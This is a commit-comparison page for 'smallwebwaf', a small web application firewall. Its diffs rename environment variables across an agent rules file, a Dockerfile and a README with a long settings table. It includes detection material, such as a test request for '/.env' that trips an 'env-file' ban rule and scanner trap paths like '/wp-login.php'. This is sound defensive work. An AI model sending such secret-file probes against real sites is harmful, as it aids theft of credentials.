Compare commits
6
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
47cab048a5 | ||
|
|
20e4b3b080 | ||
|
|
3d9e3976b0 | ||
|
|
56d6a12cc2 | ||
|
|
922fe0cf71 | ||
|
|
d70fb34f40 |
No files matched your search
@@ -30,7 +30,7 @@ These are the rules for agents working on this repository.
|
|||||||
- Secrets belong in POST data. An app that puts a secret in a query string
|
- Secrets belong in POST data. An app that puts a secret in a query string
|
||||||
is fixed in the app.
|
is fixed in the app.
|
||||||
- Never propose redacting a query string, Gitea's `?token=` included.
|
- Never propose redacting a query string, Gitea's `?token=` included.
|
||||||
- The default of `SWRP_TRUSTED_PROXIES` is the RFC 1918 set.
|
- The default of `SWW_RPROXY_TRUSTED_PROXIES` is the RFC 1918 set.
|
||||||
- The set is:
|
- The set is:
|
||||||
- `10.0.0.0/8`;
|
- `10.0.0.0/8`;
|
||||||
- `172.16.0.0/12`;
|
- `172.16.0.0/12`;
|
||||||
|
|||||||
+2
-2
@@ -184,12 +184,12 @@ RUN groupadd --system --gid 65532 sww \
|
|||||||
--gid sww --no-create-home --shell /usr/sbin/nologin \
|
--gid sww --no-create-home --shell /usr/sbin/nologin \
|
||||||
sww
|
sww
|
||||||
|
|
||||||
# The state files' directory, SWW_STATE_DIR by default, where a volume
|
# The state files' directory, SWW_WAF_STATE_DIR by default, where a volume
|
||||||
# is mounted to keep them across deploys. The run script gives it to the
|
# is mounted to keep them across deploys. The run script gives it to the
|
||||||
# sww user at each start of discriminator.
|
# sww user at each start of discriminator.
|
||||||
RUN mkdir /var/lib/sww
|
RUN mkdir /var/lib/sww
|
||||||
|
|
||||||
# The default rule file, in SWW_RULES_DIR by default, where a Dockerfile
|
# The default rule file, in SWW_WAF_RULES_DIR by default, where a Dockerfile
|
||||||
# built FROM this image can copy rule files of its own beside it.
|
# built FROM this image can copy rule files of its own beside it.
|
||||||
COPY share/rules.d/00-default.rules /etc/sww/rules.d/00-default.rules
|
COPY share/rules.d/00-default.rules /etc/sww/rules.d/00-default.rules
|
||||||
|
|
||||||
|
|||||||
@@ -12,8 +12,8 @@ shipped in one image, with two commands that do this together:
|
|||||||
|
|
||||||
- `sww rproxy` is a small reverse proxy in front of one app. traefik routes to
|
- `sww rproxy` is a small reverse proxy in front of one app. traefik routes to
|
||||||
it. It asks `discriminator` about each request, passes the allowed ones to the
|
it. It asks `discriminator` about each request, passes the allowed ones to the
|
||||||
app, and passes the app's answers back. It keeps nothing and never touches
|
app, and passes the app's answers back. It keeps nothing between requests and
|
||||||
disk.
|
writes nothing to disk.
|
||||||
- `sww discriminator` decides. It runs the checks and keeps the bans, the
|
- `sww discriminator` decides. It runs the checks and keeps the bans, the
|
||||||
counters and each client's history. One `discriminator` serves many sites: a
|
counters and each client's history. One `discriminator` serves many sites: a
|
||||||
client banned through one site is refused on all of them, and its requests on
|
client banned through one site is refused on all of them, and its requests on
|
||||||
@@ -91,8 +91,9 @@ the app accepts connections, whether or not `discriminator` answers; in
|
|||||||
The usual setup is three containers on one private network:
|
The usual setup is three containers on one private network:
|
||||||
|
|
||||||
- the app;
|
- the app;
|
||||||
- `rproxy`, in front of the app, which traefik routes to: `SWRP_WAF_BACKEND`
|
- `rproxy`, in front of the app, which traefik routes to:
|
||||||
names `discriminator` and `SWRP_UPSTREAM_URL` names the app;
|
`SWW_RPROXY_WAF_BACKEND` names `discriminator` and `SWW_RPROXY_UPSTREAM_URL`
|
||||||
|
names the app;
|
||||||
- `discriminator`, with `SWW_COMMAND=discriminator` and a volume at
|
- `discriminator`, with `SWW_COMMAND=discriminator` and a volume at
|
||||||
`/var/lib/sww` for its state files.
|
`/var/lib/sww` for its state files.
|
||||||
|
|
||||||
@@ -101,8 +102,8 @@ Point traefik's labels at port 8080 of `rproxy`
|
|||||||
of the app or of `discriminator`. Anything on that network can reach the app
|
of the app or of `discriminator`. Anything on that network can reach the app
|
||||||
around `rproxy`, and can ask `discriminator` questions, so the network holds
|
around `rproxy`, and can ask `discriminator` questions, so the network holds
|
||||||
only what you trust. Each further app adds its own container and its own
|
only what you trust. Each further app adds its own container and its own
|
||||||
`rproxy`, whose `SWRP_WAF_BACKEND` names the same `discriminator`. The "Smallest
|
`rproxy`, whose `SWW_RPROXY_WAF_BACKEND` names the same `discriminator`. The
|
||||||
setup" example below shows this shape.
|
"Smallest setup" example below shows this shape.
|
||||||
|
|
||||||
### `rproxy` in the app's container
|
### `rproxy` in the app's container
|
||||||
|
|
||||||
@@ -115,7 +116,7 @@ by digest, and adds:
|
|||||||
- the packages the app needs, from the nixpkgs in the image;
|
- the packages the app needs, from the nixpkgs in the image;
|
||||||
- a user for the app;
|
- a user for the app;
|
||||||
- a `run` script that starts the app listening on `127.0.0.1:8081`, the default
|
- a `run` script that starts the app listening on `127.0.0.1:8081`, the default
|
||||||
of `SWRP_UPSTREAM_URL`.
|
of `SWW_RPROXY_UPSTREAM_URL`.
|
||||||
|
|
||||||
```dockerfile
|
```dockerfile
|
||||||
# The smallwebwaf image, pinned by digest.
|
# The smallwebwaf image, pinned by digest.
|
||||||
@@ -151,8 +152,8 @@ main "$@"
|
|||||||
|
|
||||||
Leave `ENTRYPOINT` and `USER` out of the app's `Dockerfile`. The image's own
|
Leave `ENTRYPOINT` and `USER` out of the app's `Dockerfile`. The image's own
|
||||||
entrypoint starts `rproxy` and the app side by side, each as its own user. Run
|
entrypoint starts `rproxy` and the app side by side, each as its own user. Run
|
||||||
the app's image with `SWRP_WAF_BACKEND` set. `deploy/example-app` is such an
|
the app's image with `SWW_RPROXY_WAF_BACKEND` set. `deploy/example-app` is such
|
||||||
app, and the "`rproxy` beside the app" example below runs one.
|
an app, and the "`rproxy` beside the app" example below runs one.
|
||||||
|
|
||||||
The app sees the headers traefik sent, with traefik's address added to
|
The app sees the headers traefik sent, with traefik's address added to
|
||||||
`X-Forwarded-For`, from a TCP peer that is `rproxy`. So the app must trust
|
`X-Forwarded-For`, from a TCP peer that is `rproxy`. So the app must trust
|
||||||
@@ -172,12 +173,12 @@ does.
|
|||||||
`https://<site>/_sww/healthz` answers `ok`. `discriminator`'s log lines about
|
`https://<site>/_sww/healthz` answers `ok`. `discriminator`'s log lines about
|
||||||
the request have `"action":"forward"`.
|
the request have `"action":"forward"`.
|
||||||
- To see a refusal without banning yourself, run `discriminator` with
|
- To see a refusal without banning yourself, run `discriminator` with
|
||||||
`SWW_MODE=observe` and ask for `/.env`. The request reaches the app.
|
`SWW_WAF_MODE=observe` and ask for `/.env`. The request reaches the app.
|
||||||
`discriminator`'s log lines have `"would_action":"temporarily_banned"` and
|
`discriminator`'s log lines have `"would_action":"temporarily_banned"` and
|
||||||
`"rule_ids":["env-file"]`. A ban you get in `enforce` mode is lifted as
|
`"rule_ids":["env-file"]`. A ban you get in `enforce` mode is lifted as
|
||||||
"Clients and bans" below describes.
|
"Clients and bans" below describes.
|
||||||
- With `SWW_METRICS_TOKEN` set, this answers with the metrics, from a host on
|
- With `SWW_WAF_METRICS_TOKEN` set, this answers with the metrics, from a host
|
||||||
`discriminator`'s network:
|
on `discriminator`'s network:
|
||||||
`curl -H "Authorization: Bearer $TOKEN" http://discriminator:8080/_sww/metrics`.
|
`curl -H "Authorization: Bearer $TOKEN" http://discriminator:8080/_sww/metrics`.
|
||||||
- `make example-app` builds the image and an app on it, runs them, and checks
|
- `make example-app` builds the image and an app on it, runs them, and checks
|
||||||
the whole exchange (see "Entrypoints").
|
the whole exchange (see "Entrypoints").
|
||||||
@@ -185,18 +186,18 @@ does.
|
|||||||
## Configuration
|
## Configuration
|
||||||
|
|
||||||
Every setting is an environment variable, read once at start; changing one means
|
Every setting is an environment variable, read once at start; changing one means
|
||||||
restarting the container. `rproxy` reads only the `SWRP_` settings, and
|
restarting the container. `rproxy` reads only the `SWW_RPROXY_` settings, and
|
||||||
`discriminator` only the `SWW_` ones. Every setting but `SWRP_WAF_BACKEND` has a
|
`discriminator` only the `SWW_WAF_` ones. Every setting but
|
||||||
default, chosen for a service on the open internet. A setting that needs an
|
`SWW_RPROXY_WAF_BACKEND` has a default, chosen for a service on the open
|
||||||
account, a key, a token or an alert destination stays off until you give one.
|
internet. A setting that needs an account, a key, a token or an alert
|
||||||
|
destination stays off until you give one.
|
||||||
|
|
||||||
- Any `SWW_` setting can be given as a file instead, for secrets and long lists:
|
- Any `SWW_WAF_` or `SWW_RPROXY_` setting can be given as a file instead, for
|
||||||
`SWW_ADMIN_TOKEN_FILE` names the file that holds `SWW_ADMIN_TOKEN`. The file's
|
secrets and long lists: `SWW_WAF_ADMIN_TOKEN_FILE` names the file that holds
|
||||||
contents are the value, less one newline at the end. Setting both forms stops
|
`SWW_WAF_ADMIN_TOKEN`. The file's contents are the value, less one newline at
|
||||||
the start. `SWW_LOG_REMOTE_TLS_CA_FILE` and
|
the end. Setting both forms stops the start. `SWW_WAF_LOG_REMOTE_TLS_CA_FILE`
|
||||||
`SWW_CORE_RULE_SET_EXCLUSIONS_FILE` already name a file, so they have no
|
and `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` already name a file, so they have
|
||||||
`_FILE` form. `SWW_COMMAND` cannot be given as a file. No `SWRP_` setting has
|
no `_FILE` form. `SWW_COMMAND` cannot be given as a file.
|
||||||
one, since `rproxy` never touches disk.
|
|
||||||
- A duration is Go's syntax, with `d` for days: `90s`, `15m`, `24h`, `7d`.
|
- A duration is Go's syntax, with `d` for days: `90s`, `15m`, `24h`, `7d`.
|
||||||
- A size is a number of bytes with an optional `K`, `M` or `G`, in powers of
|
- A size is a number of bytes with an optional `K`, `M` or `G`, in powers of
|
||||||
1024: `512K`, `100M`, `5G`.
|
1024: `512K`, `100M`, `5G`.
|
||||||
@@ -212,131 +213,132 @@ account, a key, a token or an alert destination stays off until you give one.
|
|||||||
setting takes it.
|
setting takes it.
|
||||||
- The byte limits and the byte anomaly thresholds count only body bytes: the
|
- The byte limits and the byte anomaly thresholds count only body bytes: the
|
||||||
app's response bodies, the visitors' request bodies, or both, as
|
app's response bodies, the visitors' request bodies, or both, as
|
||||||
`SWW_BYTES_COUNT` says. Headers are never counted. What the visitor sent over
|
`SWW_WAF_BYTES_COUNT` says. Headers are never counted. What the visitor sent
|
||||||
a WebSocket counts as request bytes, and what the app sent as response bytes.
|
over a WebSocket counts as request bytes, and what the app sent as response
|
||||||
|
bytes.
|
||||||
- An invalid setting stops the process at start with one log line naming the
|
- An invalid setting stops the process at start with one log line naming the
|
||||||
variable and what is wrong with the value. The settings in effect are logged
|
variable and what is wrong with the value. The settings in effect are logged
|
||||||
on one line at start, with tokens, keys and webhook paths shown as `********`.
|
on one line at start, with tokens, keys and webhook paths shown as `********`.
|
||||||
|
|
||||||
Every setting the code reads, with its default:
|
Every setting the code reads, with its default:
|
||||||
|
|
||||||
| Variable | Default | What it does |
|
| Variable | Default | What it does |
|
||||||
| ---------------------------------------- | ---------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
| -------------------------------------------- | ---------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||||
| `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `discriminator`. |
|
| `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `discriminator`. |
|
||||||
| `SWRP_WAF_BACKEND` | required | `discriminator`'s URL, such as `http://discriminator:8080`. |
|
| `SWW_RPROXY_WAF_BACKEND` | required | `discriminator`'s URL, such as `http://discriminator:8080`. |
|
||||||
| `SWRP_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. |
|
| `SWW_RPROXY_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. |
|
||||||
| `SWRP_LISTEN_ADDR` | `:8080` | Where `rproxy` listens; leave the host part empty. |
|
| `SWW_RPROXY_LISTEN_ADDR` | `:8080` | Where `rproxy` listens; leave the host part empty. |
|
||||||
| `SWRP_TRUSTED_PROXIES` | `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16` | The netblocks whose `X-Forwarded-For` `rproxy` believes; set but empty, it believes none. |
|
| `SWW_RPROXY_TRUSTED_PROXIES` | `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16` | The netblocks whose `X-Forwarded-For` `rproxy` believes; set but empty, it believes none. |
|
||||||
| `SWRP_TIMEOUT_MS` | `2000` | How long `rproxy` waits for `discriminator`'s answer to a question and to a report, in milliseconds. |
|
| `SWW_RPROXY_TIMEOUT_MS` | `2000` | How long `rproxy` waits for `discriminator`'s answer to a question and to a report, in milliseconds. |
|
||||||
| `SWRP_DEFAULT_DISPOSITION` | `allow` | What `rproxy` does with a request when `discriminator` cannot be reached or does not answer in time: `allow` passes it to the app, `deny` answers `503`. |
|
| `SWW_RPROXY_DEFAULT_DISPOSITION` | `allow` | What `rproxy` does with a request when `discriminator` cannot be reached or does not answer in time: `allow` passes it to the app, `deny` answers `503`. |
|
||||||
| `SWRP_MAX_REQUEST_SIZE` | `100M` | The largest request body, a size or `off`; a larger one is answered `413`. |
|
| `SWW_RPROXY_MAX_REQUEST_SIZE` | `100M` | The largest request body, a size or `off`; a larger one is answered `413`. |
|
||||||
| `SWRP_MAX_RESPONSE_SIZE` | `1G` | The largest response body, a size or `off`. The visitor gets `502` in place of a larger one, or it is cut off if it has already started. |
|
| `SWW_RPROXY_MAX_RESPONSE_SIZE` | `1G` | The largest response body, a size or `off`. The visitor gets `502` in place of a larger one, or it is cut off if it has already started. |
|
||||||
| `SWRP_MAX_REQUEST_TIME_MS` | `60000` | Two time limits, each this long, in milliseconds or `off`: one for the visitor to send its request line and headers, then one for the whole request to reach the app. |
|
| `SWW_RPROXY_MAX_REQUEST_TIME_MS` | `60000` | Two time limits, each this long, in milliseconds or `off`: one for the visitor to send its request line and headers, then one for the whole request to reach the app. |
|
||||||
| `SWRP_MAX_RESPONSE_TIME_MS` | `1800000` | How long the answer may take, from the end of the request to its last byte reaching the visitor, in milliseconds or `off`. |
|
| `SWW_RPROXY_MAX_RESPONSE_TIME_MS` | `1800000` | How long the answer may take, from the end of the request to its last byte reaching the visitor, in milliseconds or `off`. |
|
||||||
| `SWW_LISTEN_ADDR` | `:8080` | Where `discriminator` listens; leave the host part empty. |
|
| `SWW_WAF_LISTEN_ADDR` | `:8080` | Where `discriminator` listens; leave the host part empty. |
|
||||||
| `SWW_INSTANCE_NAME` | the container's host name | The name in every line `discriminator` logs, and in every alert and metric, such as `fsn1/discriminator`. |
|
| `SWW_WAF_INSTANCE_NAME` | the container's host name | The name in every line `discriminator` logs, and in every alert and metric, such as `fsn1/discriminator`. |
|
||||||
| `SWW_MODE` | `enforce` | `observe` refuses nothing and makes no ban; each log line says what `enforce` would have done. |
|
| `SWW_WAF_MODE` | `enforce` | `observe` refuses nothing and makes no ban; each log line says what `enforce` would have done. |
|
||||||
| `SWW_IPV6_GROUP_PREFIX` | `64` | The prefix length of the IPv6 netblock that counts as one client, from 32 to 128. |
|
| `SWW_WAF_IPV6_GROUP_PREFIX` | `64` | The prefix length of the IPv6 netblock that counts as one client, from 32 to 128. |
|
||||||
| `SWW_MAX_TRACKED_CLIENTS` | `20000` | The most clients kept, in memory and in `clients.json`; the least recently seen is dropped first. |
|
| `SWW_WAF_MAX_TRACKED_CLIENTS` | `20000` | The most clients kept, in memory and in `clients.json`; the least recently seen is dropped first. |
|
||||||
| `SWW_MAX_BANS` | `5000` | The most bans `discriminator` keeps of its own; bans an admin made do not count. |
|
| `SWW_WAF_MAX_BANS` | `5000` | The most bans `discriminator` keeps of its own; bans an admin made do not count. |
|
||||||
| `SWW_ALLOW_NETS` | empty | Netblocks whose clients skip every check, such as your monitoring. |
|
| `SWW_WAF_ALLOW_NETS` | empty | Netblocks whose clients skip every check, such as your monitoring. |
|
||||||
| `SWW_RATE_LIMIT_EXEMPT_NETS` | empty | Netblocks whose clients are exempt from rate limiting and the byte limits. |
|
| `SWW_WAF_RATE_LIMIT_EXEMPT_NETS` | empty | Netblocks whose clients are exempt from rate limiting and the byte limits. |
|
||||||
| `SWW_DENY_NETS` | empty | Netblocks whose clients are refused. |
|
| `SWW_WAF_DENY_NETS` | empty | Netblocks whose clients are refused. |
|
||||||
| `SWW_RATE_LIMIT_PER_MINUTE` | `120` | The most requests a client may make in a minute, a count or `off`; the next request is refused and bans the client. |
|
| `SWW_WAF_RATE_LIMIT_PER_MINUTE` | `120` | The most requests a client may make in a minute, a count or `off`; the next request is refused and bans the client. |
|
||||||
| `SWW_RATE_LIMIT_PER_HOUR` | `1500` | The most requests a client may make in an hour, a count or `off`; the next request is refused and bans the client. |
|
| `SWW_WAF_RATE_LIMIT_PER_HOUR` | `1500` | The most requests a client may make in an hour, a count or `off`; the next request is refused and bans the client. |
|
||||||
| `SWW_RATE_LIMIT_PER_DAY` | `6000` | The most requests a client may make in a day, a count or `off`; the next request is refused and bans the client. |
|
| `SWW_WAF_RATE_LIMIT_PER_DAY` | `6000` | The most requests a client may make in a day, a count or `off`; the next request is refused and bans the client. |
|
||||||
| `SWW_RATE_LIMIT_EXEMPT_PATHS` | empty | Path prefixes exempt from rate limiting and the byte limits, such as `/assets/`. |
|
| `SWW_WAF_RATE_LIMIT_EXEMPT_PATHS` | empty | Path prefixes exempt from rate limiting and the byte limits, such as `/assets/`. |
|
||||||
| `SWW_BYTES_LIMIT_PER_MINUTE` | `off` | The most bytes counted for a client in a minute, a size or `off`. `SWW_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
|
| `SWW_WAF_BYTES_LIMIT_PER_MINUTE` | `off` | The most bytes counted for a client in a minute, a size or `off`. `SWW_WAF_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
|
||||||
| `SWW_BYTES_LIMIT_PER_HOUR` | `50G` | The most bytes counted for a client in an hour, a size or `off`. `SWW_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
|
| `SWW_WAF_BYTES_LIMIT_PER_HOUR` | `50G` | The most bytes counted for a client in an hour, a size or `off`. `SWW_WAF_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
|
||||||
| `SWW_BYTES_LIMIT_PER_DAY` | `100G` | The most bytes counted for a client in a day, a size or `off`. `SWW_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
|
| `SWW_WAF_BYTES_LIMIT_PER_DAY` | `100G` | The most bytes counted for a client in a day, a size or `off`. `SWW_WAF_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
|
||||||
| `SWW_BYTES_COUNT` | `both` | What the byte limits and the byte anomaly thresholds count: `response`, the app's response bodies; `request`, the visitors' request bodies; or `both`. What the visitor sent over a WebSocket counts as request bytes, and what the app sent as response bytes. |
|
| `SWW_WAF_BYTES_COUNT` | `both` | What the byte limits and the byte anomaly thresholds count: `response`, the app's response bodies; `request`, the visitors' request bodies; or `both`. What the visitor sent over a WebSocket counts as request bytes, and what the app sent as response bytes. |
|
||||||
| `SWW_ERROR_BURST_THRESHOLD` | `30` | The most refusals a client may get in a minute from a rule file, a trap path or the Core Rule Set, a count or `off`. The next one bans the client. |
|
| `SWW_WAF_ERROR_BURST_THRESHOLD` | `30` | The most refusals a client may get in a minute from a rule file, a trap path or the Core Rule Set, a count or `off`. The next one bans the client. |
|
||||||
| `SWW_BAN_RESPONSE` | `403` | How a refused client is answered: `403`, `429` or `close`, which drops the connection. |
|
| `SWW_WAF_BAN_RESPONSE` | `403` | How a refused client is answered: `403`, `429` or `close`, which drops the connection. |
|
||||||
| `SWW_LIMIT_BAN_DURATION` | `1h` | The ban for a first broken limit. |
|
| `SWW_WAF_LIMIT_BAN_DURATION` | `1h` | The ban for a first broken limit. |
|
||||||
| `SWW_LIMIT_BAN_REPEAT_WINDOW` | `24h` | A client that breaks a limit again within this time after its last such ban ended gets a ban three times as long. |
|
| `SWW_WAF_LIMIT_BAN_REPEAT_WINDOW` | `24h` | A client that breaks a limit again within this time after its last such ban ended gets a ban three times as long. |
|
||||||
| `SWW_MAX_BAN_DURATION` | `7d` | A ban for a broken limit that would be longer than this is permanent instead. |
|
| `SWW_WAF_MAX_BAN_DURATION` | `7d` | A ban for a broken limit that would be longer than this is permanent instead. |
|
||||||
| `SWW_ATTACK_BAN_DURATION` | `7d` | The ban for a first clear sign of attack: a `ban` rule or a trap path. |
|
| `SWW_WAF_ATTACK_BAN_DURATION` | `7d` | The ban for a first clear sign of attack: a `ban` rule or a trap path. |
|
||||||
| `SWW_BAN_SCOPE_V4_PREFIX` | `32` | The prefix length of the netblock a ban on an IPv4 client covers, from 0 to 32. |
|
| `SWW_WAF_BAN_SCOPE_V4_PREFIX` | `32` | The prefix length of the netblock a ban on an IPv4 client covers, from 0 to 32. |
|
||||||
| `SWW_LOOKUP_SOURCE` | `geojs` | Where each client's AS number and country come from: `geojs` (a web service), `file` (a local database) or `off`. |
|
| `SWW_WAF_LOOKUP_SOURCE` | `geojs` | Where each client's AS number and country come from: `geojs` (a web service), `file` (a local database) or `off`. |
|
||||||
| `SWW_LOOKUP_DB_PATH` | empty | The IPinfo Lite database file, in its `.mmdb` form, read while the source is `file`. |
|
| `SWW_WAF_LOOKUP_DB_PATH` | empty | The IPinfo Lite database file, in its `.mmdb` form, read while the source is `file`. |
|
||||||
| `SWW_LOOKUP_TIMEOUT` | `800ms` | How long a request waits for its client's first GeoJS answer when a setting needs it, and how long a request to GeoJS may take. |
|
| `SWW_WAF_LOOKUP_TIMEOUT` | `800ms` | How long a request waits for its client's first GeoJS answer when a setting needs it, and how long a request to GeoJS may take. |
|
||||||
| `SWW_ADD_LOOKUP_HEADERS` | `false` | `true` passes the app the client's AS number and country in `X-Client-ASN` and `X-Client-Country`. |
|
| `SWW_WAF_ADD_LOOKUP_HEADERS` | `false` | `true` passes the app the client's AS number and country in `X-Client-ASN` and `X-Client-Country`. |
|
||||||
| `SWW_EXCLUSIVELY_ALLOWED_COUNTRIES` | empty | When set, the only countries whose clients get through; a client the lookup cannot place is refused too. |
|
| `SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES` | empty | When set, the only countries whose clients get through; a client the lookup cannot place is refused too. |
|
||||||
| `SWW_TAG_LISTS` | empty | Address lists that each add a tag to their clients' requests, as `name=URL` pairs, such as `torexit=https://example.com/tor.txt`. |
|
| `SWW_WAF_TAG_LISTS` | empty | Address lists that each add a tag to their clients' requests, as `name=URL` pairs, such as `torexit=https://example.com/tor.txt`. |
|
||||||
| `SWW_TAG_DENY` | empty | Tags whose requests are refused, such as `torexit,country=CN`. |
|
| `SWW_WAF_TAG_DENY` | empty | Tags whose requests are refused, such as `torexit,country=CN`. |
|
||||||
| `SWW_TAG_LIMIT_PERCENT` | empty | Tags whose clients get a percentage, from 1 to 99, of every request and byte limit, such as `vpn:50,asn=14061:25`; the lowest applies. |
|
| `SWW_WAF_TAG_LIMIT_PERCENT` | empty | Tags whose clients get a percentage, from 1 to 99, of every request and byte limit, such as `vpn:50,asn=14061:25`; the lowest applies. |
|
||||||
| `SWW_ROUTEWATCH_URL` | unset | The URL of a routewatch instance, which gives each client's `asn=` and `prefix=` tags. Unset, nothing asks routewatch. |
|
| `SWW_WAF_ROUTEWATCH_URL` | unset | The URL of a routewatch instance, which gives each client's `asn=` and `prefix=` tags. Unset, nothing asks routewatch. |
|
||||||
| `SWW_ASN_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the AS numbers listed, in place of their `asn=` tag's percentage. |
|
| `SWW_WAF_ASN_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the AS numbers listed, in place of their `asn=` tag's percentage. |
|
||||||
| `SWW_COUNTRY_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the countries listed, in place of their `country=` tag's percentage. |
|
| `SWW_WAF_COUNTRY_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the countries listed, in place of their `country=` tag's percentage. |
|
||||||
| `SWW_UNKNOWN_LIMIT_PERCENT` | `100` | The percentage of every limit a client without a country gets. |
|
| `SWW_WAF_UNKNOWN_LIMIT_PERCENT` | `100` | The percentage of every limit a client without a country gets. |
|
||||||
| `SWW_ASN_LIMIT_PERCENT_URL` | unset | The URL of a text file of `AS<number>:<percent>` lines, fetched like a blocklist; each line counts as an `asn=` tag in `SWW_TAG_LIMIT_PERCENT` (the lowest wins). |
|
| `SWW_WAF_ASN_LIMIT_PERCENT_URL` | unset | The URL of a text file of `AS<number>:<percent>` lines, fetched like a blocklist; each line counts as an `asn=` tag in `SWW_WAF_TAG_LIMIT_PERCENT` (the lowest wins). |
|
||||||
| `SWW_RULES_DIR` | `/etc/sww/rules.d` | The directory of the rule files, read at start and again when a file there changes. |
|
| `SWW_WAF_RULES_DIR` | `/etc/sww/rules.d` | The directory of the rule files, read at start and again when a file there changes. |
|
||||||
| `SWW_RULES_ENABLED` | `true` | `false` reads no rule file. |
|
| `SWW_WAF_RULES_ENABLED` | `true` | `false` reads no rule file. |
|
||||||
| `SWW_TRAP_PATHS` | empty | Paths only scanners ask for, such as `/wp-login.php,/xmlrpc.php`; a request for one bans the client. |
|
| `SWW_WAF_TRAP_PATHS` | empty | Paths only scanners ask for, such as `/wp-login.php,/xmlrpc.php`; a request for one bans the client. |
|
||||||
| `SWW_WAF_MODE` | `block` | What the Core Rule Set does with a match: `block` refuses it with `403`, `detect` only logs and alerts it, `off` runs no rule. |
|
| `SWW_WAF_CORE_RULE_SET_MODE` | `block` | What the Core Rule Set does with a match: `block` refuses it with `403`, `detect` only logs and alerts it, `off` runs no rule. |
|
||||||
| `SWW_WAF_PARANOIA_LEVEL` | `1` | The Core Rule Set's paranoia level, from 1 to 4; each level up finds more attacks and takes more ordinary requests for attacks. |
|
| `SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL` | `1` | The Core Rule Set's paranoia level, from 1 to 4; each level up finds more attacks and takes more ordinary requests for attacks. |
|
||||||
| `SWW_WAF_ANOMALY_THRESHOLD` | `5` | The Core Rule Set score at which a request is a match, a whole number or `off`; one critical rule scores 5. |
|
| `SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD` | `5` | The Core Rule Set score at which a request is a match, a whole number or `off`; one critical rule scores 5. |
|
||||||
| `SWW_WAF_DISABLED_RULES` | `920340,920420,920440,920640,930130,930140` | Core Rule Set rule ids switched off; a list you give replaces the default, so repeat these six to keep them off. |
|
| `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` | `920340,920420,920440,920640,930130,930140` | Core Rule Set rule ids switched off; a list you give replaces the default, so repeat these six to keep them off. |
|
||||||
| `SWW_WAF_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. |
|
| `SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. |
|
||||||
| `SWW_WAF_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. |
|
| `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. |
|
||||||
| `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. |
|
| `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. |
|
||||||
| `SWW_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. |
|
| `SWW_WAF_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. |
|
||||||
| `SWW_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. |
|
| `SWW_WAF_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. |
|
||||||
| `SWW_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. |
|
| `SWW_WAF_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. |
|
||||||
| `SWW_DNSBL_ZONES` | empty | DNS blocklists asked about each new client in the background, such as `dnsbl.dronebl.org`. |
|
| `SWW_WAF_DNSBL_ZONES` | empty | DNS blocklists asked about each new client in the background, such as `dnsbl.dronebl.org`. |
|
||||||
| `SWW_DNSBL_RESOLVER` | unset | The resolver the zones are asked through, an IP address with an optional port; unset, the host's resolver is used. |
|
| `SWW_WAF_DNSBL_RESOLVER` | unset | The resolver the zones are asked through, an IP address with an optional port; unset, the host's resolver is used. |
|
||||||
| `SWW_ABUSEIPDB_KEY` | unset | The key of your AbuseIPDB account; set, a client that has committed an offence is checked in the background. |
|
| `SWW_WAF_ABUSEIPDB_KEY` | unset | The key of your AbuseIPDB account; set, a client that has committed an offence is checked in the background. |
|
||||||
| `SWW_ABUSEIPDB_MIN_SCORE` | `75` | The least AbuseIPDB abuse confidence score, from 0 to 100, that is a hit. |
|
| `SWW_WAF_ABUSEIPDB_MIN_SCORE` | `75` | The least AbuseIPDB abuse confidence score, from 0 to 100, that is a hit. |
|
||||||
